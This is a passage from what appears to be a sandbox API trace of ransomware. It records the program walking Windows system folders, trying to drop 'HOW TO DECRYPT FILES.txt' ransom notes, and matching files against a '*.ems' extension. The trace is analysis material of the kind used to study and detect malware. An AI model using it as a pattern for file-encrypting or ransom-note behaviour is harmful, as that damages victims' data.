ftCreationTime.dwLowDateTime=0xbe4ef71b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4ef71b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa5623367, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x16ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallRoles.sql", cAlternateFileName="UNINST~1.SQL")) returned 0 [0165.426] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.427] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f493f, dwReserved1=0xc000408, cFileName="amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13", cAlternateFileName="AM3081~1.163")) returned 1 [0165.427] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13") returned -1 [0165.427] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13") returned -1 [0165.427] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.427] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13" [0165.428] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.428] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.428] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112452f4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.428] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.428] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.428] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42c6921, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb42c6921, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9630b96b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa758, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_state.exe", cAlternateFileName="ASPNET~1.EXE")) returned 1 [0165.428] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_state.exe") returned 1 [0165.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_state.exe") returned 1 [0165.428] lstrcmpiA (lpString1="", lpString2="aspnet_state.exe") returned -1 [0165.428] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\*.*") returned="*.*" [0165.428] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\" [0165.429] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\") returned="" [0165.429] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\HOW TO DECRYPT FILES.txt" [0165.429] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\how to decrypt files.txt")) returned 0xffffffff [0165.429] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.429] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.429] CloseHandle (hObject=0xffffffff) returned 0 [0165.429] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\", lpString2="aspnet_state.exe" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\aspnet_state.exe") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\aspnet_state.exe" [0165.429] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_0df703f36aac2f13\\aspnet_state.exe", pszSpec="*.ems") returned 0 [0165.430] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42c6921, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb42c6921, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9630b96b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa758, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_state.exe", cAlternateFileName="ASPNET~1.EXE")) returned 0 [0165.430] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.430] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501", cAlternateFileName="AM1C7E~1.163")) returned 1 [0165.430] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501") returned -1 [0165.430] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501") returned -1 [0165.430] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.430] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501" [0165.430] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.431] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.431] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.431] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.431] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.431] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb43d12ac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb43d12ac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x963a3ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_state_perf.h", cAlternateFileName="ASPNET~1.H")) returned 1 [0165.431] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_state_perf.h") returned 1 [0165.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_state_perf.h") returned 1 [0165.431] lstrcmpiA (lpString1="", lpString2="aspnet_state_perf.h") returned -1 [0165.431] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\*.*") returned="*.*" [0165.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\" [0165.431] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\") returned="" [0165.431] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\HOW TO DECRYPT FILES.txt" [0165.431] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\how to decrypt files.txt")) returned 0xffffffff [0165.431] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.432] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.432] CloseHandle (hObject=0xffffffff) returned 0 [0165.432] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\", lpString2="aspnet_state_perf.h" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\aspnet_state_perf.h") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\aspnet_state_perf.h" [0165.432] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_730c92cdcdf3f501\\aspnet_state_perf.h", pszSpec="*.ems") returned 0 [0165.432] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb43d12ac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb43d12ac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x963a3ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_state_perf.h", cAlternateFileName="ASPNET~1.H")) returned 0 [0165.432] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.432] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab", cAlternateFileName="AM0DF5~1.163")) returned 1 [0165.432] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab") returned -1 [0165.432] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab") returned -1 [0165.432] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.432] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab" [0165.433] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.433] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.433] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.433] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.433] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.433] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb441d566, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb441d566, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x963ca041, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x9ae2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_state_perf.ini", cAlternateFileName="ASPNET~1.INI")) returned 1 [0165.433] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.433] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_state_perf.ini") returned 1 [0165.433] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_state_perf.ini") returned 1 [0165.433] lstrcmpiA (lpString1="", lpString2="aspnet_state_perf.ini") returned -1 [0165.433] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\*.*") returned="*.*" [0165.434] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\" [0165.434] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\") returned="" [0165.434] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\HOW TO DECRYPT FILES.txt" [0165.434] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\how to decrypt files.txt")) returned 0xffffffff [0165.434] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.434] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.434] CloseHandle (hObject=0xffffffff) returned 0 [0165.434] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\", lpString2="aspnet_state_perf.ini" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\aspnet_state_perf.ini") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\aspnet_state_perf.ini" [0165.434] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_state_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_fb6fde4753d9adab\\aspnet_state_perf.ini", pszSpec="*.ems") returned 0 [0165.435] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb441d566, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb441d566, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x963ca041, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x9ae2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_state_perf.ini", cAlternateFileName="ASPNET~1.INI")) returned 0 [0165.435] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.435] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1126b44e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1126b44e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90", cAlternateFileName="AM51A9~1.163")) returned 1 [0165.435] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90") returned -1 [0165.435] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90") returned -1 [0165.435] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.435] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90" [0165.435] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_system_web_tbl_b03f5f7f11d50a3a_6.1.7600.16385_none_7a59b6d585ce3a90\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1126b44e, ftCreationTime.dwHighDateTime=0x1ca0432, 